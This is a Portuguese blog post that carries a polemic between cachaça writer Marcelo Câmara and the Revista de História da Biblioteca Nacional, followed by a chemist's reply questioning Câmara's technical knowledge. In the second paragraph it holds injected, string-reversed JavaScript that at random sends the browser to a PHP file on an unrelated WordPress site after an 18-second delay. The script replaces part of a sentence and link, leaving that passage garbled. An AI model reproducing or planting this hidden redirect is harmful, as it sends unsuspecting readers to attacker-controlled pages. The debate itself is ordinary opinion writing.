Por Marcelo Camâra
Segue a tréplica do debate entre eu, cachaçólogo Marcelo Câmara, e a Revista de História da Biblioteca Nacional. O site Amigos da Cachaça publicou a minha carta e a resposta da revista. Abaixo a minha tréplica que a Revista não publicou, nem poderia, é claro, pois encerra o diálogo impossível entre um estudioso especialista e dois curiosos e incipientes no assunto. Agradece, cordialmente, o Marcelo Câmara.
Uma polêmica impossível:
Marcelo Câmara X Revista História da BN
Não deu outra. A $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toria.com.br/v2/home/?go=edicao&id=34″>nº 33, de junho de 2008, o texto tor em fevereiro último. Entretanto, além de editar o que dele quis, divulgou, na revista e no site da revista, uma inqualificável resposta, tola, diversionista e fugitiva dos auto-proclamados “historiadores”, Luciano Figueiredo e Marcelo Scarrone. Sem conhecer o trabalho intelectual de Marcelo Câmara, e nenhuma história da cachaça, tentam desqualificá-lo acusando-o de “não ser historiador”. Diplomado. Segundo eles, Marcelo, formado em Direito e em Comunicação Social, não lê, não pesquisa, não publica História. Por não ser bacharel em História, não poderia fazer História. Não sabem que Marcelo Câmara produz e publica História há quarenta anos, não apenas no terreno da cachaça, mas também da Música, da Política, da Cultura, da Educação, entre outros. Que foi editado por historiadores como Darcy Ribeiro, Emmanuel de Bragança Macedo Soares, Alípio Mendes, respeitáveis historiadores brasileiros, entre outros, todos sem diploma. Mas, para os dois, “istoriadô só com diproma”. Ilustres historiadores brasileiros e estrangeiros, do passado e contemporâneos, não tiveram formação específica em História e nem por isto deixam de ser historiadores. A dupla cita fontes secundárias, suplementares, acessórias, relativas e não fundamentais, não seminais, no que se refere à história da cachaça. E livro recente de um deles, sem nenhuma importância ou interesse, apenas oportunista, que nada acrescenta à pequena, erudita e preciosíssima bibliografia existente, onde Câmara Cascudo e Gilberto Freyre pontificam como raros mestres e descobridores. Fontes de inteligência e interpretação valiosas, específicas, do universo da cachaça são, é claro, totalmente desconhecidas dos curiosos. As fontes a que referem apresentam-se ora como periféricas ou peremptas, ora ultrapassadas em significado ou quilometricamente vencidas por outras mais relevantes. A incipiente resposta dos indigitados apresenta-se como uma redação ginasiana, palavrosa e empulhativa: cheia de contornos, fugas, variantes, arabescos. Diante de tanta asneira, presunção, escapismo e arrogância, Marcelo Câmara não teve outra alternativa se não remeter àqueles “especialistas” a mensagem abaixo. Desta vez, conclusiva e cabal, espera. E, claro, não publicada.
Senhor Editor,
Como previa, e infelizmente, a mensagem Há cartas que não se publicam permanece válida e atual. A Revista levou três meses para publicar uma crítica e quando o faz, edita, mutila, esvazia, no papel, o meu texto, de acordo com a sua conveniência, e escreve o que quer, uma resposta bisonha, não considerável. Constrói uma falsa polêmica, inexistente. Um diálogo desigual e covarde. Com os dedos no teclado do computador, o Editor faz o que quer: publica o que lhe julga favorável, e ignora, finge-se de desentendido, corrompe, deforma a crítica que é dirigida ao veículo. Faz o que quer com o texto do leitor-Autor. Aliás, um Autor sem obra, segundo a Revista. A “resposta” da Revista nada responde, apenas desvia, tergiversa, dissimula e não enfrenta a minha crítica. A referência a Gabriel Soares de Souza pelo Editor nada contrapõe ou esclarece. Dizer que o consumo da cachaça a partir do Século XVI tinha o sentido “medicinal” é tolice desmesurada, lulesca. O uso medicinal da cachaça é suplementar e circunstancial ao consumo popularmente generalizado de uma bebida alcoólica, que inebria, sublima, liberta, embriaga, entorpece, dá prazer. Remedia, salva, alegra, deprime, habitua, vicia e mata, de acordo com a qualidade, a quantidade, a freqüência e a situação na qual é ingerida. Minas não tem e nunca teve tradição no fabrico da cachaça comparada a centros de excelência e tradição como Paraty e alguns pontos de antanho do Nordeste, ou ao volume de produção como São Gonçalo e Campos (RJ), São Paulo e Bahia, este o maior produtor e exportador por mais de três séculos. A história mineira da cachaça é de consumo, exclusivamente de consumo de produtos oriundos de centros produtores como o Nordeste e, principalmente, a Bahia. E isto somente a partir do final do Século XVII. Minas só fabrica cachaça 250 anos depois de São Paulo, Paraty, Rio de Janeiro, Bahia e Pernambuco. Cem anos depois do Espírito Santo e de Santa Catarina. Quando falo em tradição não descarto excelência sensorial, qualidade superior. São conceitos xifópagos. Falar de tradição mineira no fabrico de cachaça de excelência seria como exaltar a tradição potiguar de saber preparar churrasco bovino. Isto não quer dizer que o potiguar não faça churrasco. Paraty (não existe “parati” no contexto e neste momento) não “tem lugar assegurado na história”. Não. A afirmativa é como dizer que “Pelé tem lugar assegurado na história do futebol”. Sem comentários. Ela é digna de quem nada conhece sobre o tema. Enfim, não vale polemizar sobre a falta de divergências, sobre o inexistente, quando um assevera e o outro burla ou escapa, deserto de argumentação. A troca de idéias também não é factível. Com a permuta, eu teria um grande prejuízo: eu entraria com o conhecimento, com as idéias, com a crítica fundamentada, e o Editor com os jargões, as digressões sem propósito, com o vácuo. Não há polêmica quando não há divergência ou confronto. Enfim, “anacronismo”, esterilidade, perda de tempo, é um especialista com estudo e ciência em determinado universo debater com neófitos interessados, curiosos do mês e pesquisadores de ocasião. Esse tipo de crítica pressupõe conhecimento e deve ser feito em ambiente acadêmico. No mínimo, com equivalência entre os interlocutores. A resposta da Revista à minha carta ratifica: Cachaça é bebida de milhões e assunto para poucos. Cordialmente, Marcelo Câmara.
Aos amigos da cachaça,
Alguns anos atrás perdi meu tempo debatendo com o Sr. “1º e Único” entendedor de cachaça do mundo, Marcelo Câmara, na esperança de mostrar-lhe a importância do conhecimento técnico e científico que faz necessário ao se falar sobre processos produtivos relacionados à cachaça e sua qualidade sensorial.
Volto a afirmar que é perda de tempo debater com alguém que não aceita que para falar com propriedade das mais de 250 substâncias químicas que proporcionam, entre outras coisas, os aromas primários e secundários da cachaça – denominado buquê, e das diferenças entre os processos de fabricação de aguardente, é necessário saber muita química e não história e folclore ligados à bebida.
Cheguei a sugerir ao amigo (pois não guardo recentimento) Marcelo que se matriculasse em um curso de pós-graduação ou graduação sobre a cachaça dentre os inúmeros oferecidos hoje em dia por universidades federais e estaduais de nosso país, como eu fiz, me formando em 2006 como especialista em tecnologia de cachaça pela Universidade Federal de Lavras (UFLA), após ter realizado 2 anos de aprimoramento profissional no Instituto Adolfo Lutz, refência nacional em Saúde Pública e ter cursado bacharelado em Química na Universidade Estadual Paulista (UNESP), classificado pelo MEC como um dos melhores cursos de química do país – Instutito de Química do Campus de Araraquara.
Provavelmente ele deve ter considerado isto uma provocação e não algo que pudesse elevar seus conhecimentos sobre o assunto.
Cada vez que leio seus textos, volto a ter a certeza de que ele não entende do processo de produção da bebida e muito menos química suficiente para escrever sobre o assunto qualidade da cachaça.
Chegar a ministrar um curso de formação de degustadores sem ter formação na área técnica é menosprezar o conhecimento de centenas de pesquisadores, muito mais graduados que eu ou o Sr. Marcelo, que há anos conduzem pesquisas sérias sobre o assunto, com inúmeras publicações científicas internacionais, com alguns dos quais tive o prazer e a honra de aprender e continuar sempre apredendo sobre este inesgotável assunto que é a cachaça.
Só voltei a escrever sobre isto porque, em 2007, através de uma nota em seu site, ele afirmava estar deixando de atuar com cachaça.
Caso o Sr. Marcelo queira debater comigo sobre o assunto, sou uma pessoa acessível, aberta ao diálogo e terei muito prazer um contribuir para que erros graves quando se fala da parte técnica da bebida não sejam mais cometidos em suas falas, elevando o nível dos debates sobre a cachaça no Brasil.
Atenciosamente,
Leandro Espinoza
Bacharel em Química – UNESP
Especialista em Laboratório de Saúde Pública – Instutito Adolfo Lutz
Especialista em Tecnologia da Cachaça – UFLA